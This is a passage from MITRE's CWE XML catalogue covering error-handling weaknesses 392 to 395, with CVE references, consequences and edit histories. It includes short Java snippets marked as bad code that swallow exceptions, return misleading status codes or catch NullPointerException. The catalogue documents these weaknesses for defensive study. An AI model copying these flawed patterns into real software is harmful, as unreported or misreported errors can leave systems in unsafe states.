					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="392" Name="Missing Report of Error Condition" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software encounters an error but does not provide a status
					code or return value to indicate that an error has
					occurred.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>684</Relationship_Target_ID>
					          <!--Incorrect Provision of Specified Functionality-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>703</Relationship_Target_ID>
					          <!--Improper Check or Handling of Exceptional Conditions-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>389</Relationship_Target_ID>
					          <!--Error Conditions, Return Values, Status Codes-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>855</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 10 - Thread Pools (TPS)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>889</Relationship_Target_ID>
					          <!--SFP Cluster: Exception Management-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
				        <Weakness_Ordinality>
					          <Ordinality>Resultant</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Varies by context</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Errors that are not properly reported could place the system in an
							unexpected state that could lead to unintended behaviors.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>In the following snippet from a doPost() servlet method, the server
						returns "200 OK" (default) even if an error occurs.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>try {</Code>
							              <Block>
								                <Comment>// Something that may throw an exception.</Comment>
								                <Code>...</Code>
							              </Block>
							              <Code>} catch (Throwable t) {</Code>
							              <Block>
								                <Code>logger.error("Caught: " + t.toString());</Code>
								                <Code>return;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0063</Observed_Example_Reference>
					          <Observed_Example_Description>Function returns "OK" even if another function
						returns a different status code than expected, leading to accepting an
						invalid PIN number.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1446</Observed_Example_Reference>
					          <Observed_Example_Description>Error checking routine in PKCS#11 library returns
						"OK" status even when invalid signature is detected, allowing spoofed
						messages.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0499</Observed_Example_Reference>
					          <Observed_Example_Description>Kernel function truncates long pathnames without
						generating an error, leading to operation on wrong
						directory.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2459</Observed_Example_Reference>
					          <Observed_Example_Description>Function returns non-error value when a particular
						erroneous condition is encountered, leading to resultant NULL
						dereference.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Missing Error Status Code</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Ensure that tasks executing in a thread pool do not fail
						silently</Mapped_Node_Name>
					          <Mapped_Node_ID>TPS03-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Other_Notes,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Missing Error Status
						Code</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-12-13">Failure to Report Error in
						Status Code</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="393" Name="Return of Wrong Status Code" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>A function or operation returns an incorrect return value or
					status code that does not indicate an error, but causes the product to modify
					its behavior based on the incorrect result.</Description_Summary>
				        <Extended_Description>
					          <Text>This can lead to unpredictable behavior. If the function is used to make
						security-critical decisions or provide security-critical information, then
						the wrong status code can cause the software to assume that an action is
						safe, even when it is not.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>684</Relationship_Target_ID>
					          <!--Incorrect Provision of Specified Functionality-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>703</Relationship_Target_ID>
					          <!--Improper Check or Handling of Exceptional Conditions-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>389</Relationship_Target_ID>
					          <!--Error Conditions, Return Values, Status Codes-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>889</Relationship_Target_ID>
					          <!--SFP Cluster: Exception Management-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>This can be primary or resultant, but it is probably most often primary to
						other issues.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>This probably overlaps various categories, especially those related to
						error handling.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Alter execution
						logic</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>This weakness could place the system in a state that could lead
							unexpected logic to be executed or other unintended behaviors.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>In the following example, an HTTP 404 status code is returned in the
						event of an IOException encountered in a Java servlet. A 404 code is
						typically meant to indicate a non-existent resource and would be somewhat
						misleading in this case.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>try {</Code>
							              <Block>
								                <Comment>// something that might throw IOException</Comment>
								                <Code>...</Code>
							              </Block>
							              <Code>} catch (IOException ioe) {</Code>
							              <Block>
								                <Code>response.sendError(SC_NOT_FOUND);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-1132</Observed_Example_Reference>
					          <Observed_Example_Description>DNS server returns wrong response code for
						non-existent AAAA record, which effectively says that the domain is
						inaccessible.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1509</Observed_Example_Reference>
					          <Observed_Example_Description>Hardware-specific implementation of system call
						causes incorrect results from geteuid.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1559</Observed_Example_Reference>
					          <Observed_Example_Description>System call returns wrong value, leading to a
						resultant NULL dereference.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Wrong Status Code</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Maintenance_Notes, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Other_Notes,
						Relationship_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Wrong Status
						Code</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="394" Name="Unexpected Status Code or Return Value" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software does not properly check when a function or
					operation returns a value that is legitimate for the function, but is not
					expected by the software.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>754</Relationship_Target_ID>
					          <!--Improper Check for Unusual or Exceptional Conditions-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>389</Relationship_Target_ID>
					          <!--Error Conditions, Return Values, Status Codes-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>728</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A7 - Improper Error Handling-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>889</Relationship_Target_ID>
					          <!--SFP Cluster: Exception Management-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>Usually primary, but can be resultant from issues such as behavioral
						change or API abuse. This can produce resultant vulnerabilities.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Alter execution
						logic</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-1395</Observed_Example_Reference>
					          <Observed_Example_Description>Certain packets (zero byte and other lengths)
						cause a recvfrom call to produce an unexpected return code that causes a
						server's listening loop to exit.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-2124</Observed_Example_Reference>
					          <Observed_Example_Description>Unchecked return code from recv() leads to
						infinite loop.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2553</Observed_Example_Reference>
					          <Observed_Example_Description>Kernel function does not properly handle when a
						null is returned by a function call, causing it to call another function
						that it shouldn't.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1858</Observed_Example_Reference>
					          <Observed_Example_Description>Memory not properly cleared when read() function
						call returns fewer bytes than expected.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0536</Observed_Example_Reference>
					          <Observed_Example_Description>Bypass access restrictions when connecting from IP
						whose DNS reverse lookup does not return a
						hostname.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0910</Observed_Example_Reference>
					          <Observed_Example_Description>Bypass access restrictions when connecting from IP
						whose DNS reverse lookup does not return a
						hostname.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-2371</Observed_Example_Reference>
					          <Observed_Example_Description>Game server doesn't check return values for
						functions that handle text strings and associated size
						values.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1267</Observed_Example_Reference>
					          <Observed_Example_Description>Resultant infinite loop when function call returns
						-1 value.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Unexpected Status Code or Return Value</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Other_Notes,
						Relationship_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="395" Name="Use of NullPointerException Catch to Detect NULL Pointer Dereference" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>Catching NullPointerException should not be used as an
					alternative to programmatic checks to prevent dereferencing a null
					pointer.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>389</Relationship_Target_ID>
					          <!--Error Conditions, Return Values, Status Codes-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>705</Relationship_Target_ID>
					          <!--Incorrect Control Flow Scoping-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>755</Relationship_Target_ID>
					          <!--Improper Handling of Exceptional Conditions-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>388</Relationship_Target_ID>
					          <!--Error Handling-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>851</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 06 - Exceptional Behavior (ERR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>889</Relationship_Target_ID>
					          <!--SFP Cluster: Exception Management-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="Java"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>Programmers typically catch NullPointerException under three
						circumstances:</Text>
					          <Block Block_Nature="Numeric_List">
						            <Text>The program contains a null pointer dereference. Catching the
							resulting exception was easier than fixing the underlying
							problem.</Text>
						            <Text>The program explicitly throws a NullPointerException to signal an
							error condition.</Text>
						            <Text>The code is part of a test harness that supplies unexpected input to
							the classes under test. Of these three circumstances, only the last is
							acceptable.</Text>
					          </Block>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(CPU)</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Do not extensively rely on catching exceptions (especially for
							validating user input) to handle errors. Handling exceptions can
							decrease the performance of an application.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following code mistakenly catches a
						NullPointerException.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>try {</Code>
							              <Block>
								                <Code>mysteryMethod();</Code>
							              </Block>
							              <Code>} catch (NullPointerException npe) {</Code>
							              <Block>
								                <Code/>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Catching NullPointerException</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not catch NullPointerException or any of its
						ancestors</Mapped_Node_Name>
					          <Mapped_Node_ID>ERR08-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Other_Notes, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
